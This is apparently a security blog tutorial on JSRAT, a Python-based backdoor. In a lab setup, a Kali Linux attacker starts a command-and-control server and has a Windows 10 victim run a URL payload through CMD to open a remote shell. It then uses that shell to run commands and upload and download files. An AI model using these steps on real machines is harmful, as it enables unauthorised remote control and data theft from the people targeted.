JSRAT – Secret Command & Control Channel Backdoor to Control Victims Machine Using JavaScript

JsRat is python based script developed to backdoor victim machine using JavaScript payloads and the HTTP protocol for communication between the server and the target hosts.

Here I have used Kali Linux(Attacker Machine) and Victim Machine (Windows 10)

Installation & Setup :-

  • Download the JSRAT tool Here
  • Download and give appropriate permission to execute the script.Above figure shows the complete installation

Starting the web server:

  • Run and execute the command: python JSRAT.py -i <kali Linux or Attacker Ip> -p 8080
  • JSRAT provides the list of URLs.Copy the Client command here it is http://192.168.172.143:8080/wtf

VICTIM MACHINE:-

  • Open this Client command URL with Victim browser
  • To gain the shell payload generated by URL should be opened with CMD.
  • Once the command is executed a shell will be obtained.

BACK TO ATTACKERS MACHINE WITH BACKDOOR:-

  • Here we go !!! We have connected with Victim machine
  • Let us try some windows command: Ipconfig
JSRAT
  • Above Figure shows executing the command calc opens up the windows calculator.JSRat can also provide upload, Read and Download files.Happy Hacking !!!

You can also Download Free E-book to learn about complete Enterprise Security Implementation & Attack Mitigation Steps – Download Free-Ebook Here.

You can follow us on LinkedinTwitterFacebook for daily Cybersecurity updates also you can take the Best Cybersecurity courses online to keep your self-updated.

Leave a Reply